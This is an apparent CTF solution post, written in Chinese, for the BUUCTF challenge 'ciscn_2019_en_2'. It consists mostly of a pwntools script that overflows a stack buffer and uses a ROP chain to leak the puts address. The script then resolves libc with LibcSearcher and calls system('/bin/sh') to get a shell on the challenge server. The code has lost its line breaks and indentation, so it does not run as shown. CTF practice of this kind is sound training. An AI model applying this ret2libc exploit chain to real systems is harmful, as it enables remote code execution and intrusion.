跟之前的 ciscn_2019_c_1 相似
from pwn import *from LibcSearcher import *content = 0context(os='linux', arch='amd64', log_level='debug')ret = 0x4006b9elf = ELF('ciscn_2019_en_2')puts_plt = elf.plt["puts"]puts_got = elf.got['puts']main_addr = elf.symbols["main"]pop_rdi_ret = 0x400c83def main():if content == 1:peiqi = process('ciscn_2019_en_2')else:peiqi = remote('node3.buuoj.cn',28445)payload = b'a' * (0x50 + 8)payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)payload = payload + p64(main_addr)#print(payload)peiqi.sendlineafter("Input your choice!\n", '1')peiqi.sendlineafter("Input your Plaintext to be encrypted\n", payload)peiqi.recvuntil('Ciphertext\n')peiqi.recvline()puts_addr = peiqi.recv(7)[:-1]puts_addr = u64(puts_addr.ljust(8,b'\x00'))print(puts_addr)libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')binsh_addr = libc_base + libc.dump('str_bin_sh')payload = b'a' * (0x50 + 8)payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)peiqi.sendlineafter("Input your choice!\n", '1')peiqi.sendlineafter("Input your Plaintext to be encrypted\n", payload)peiqi.interactive()main()

同样是要注意 ubuntu8 的对齐栈问题
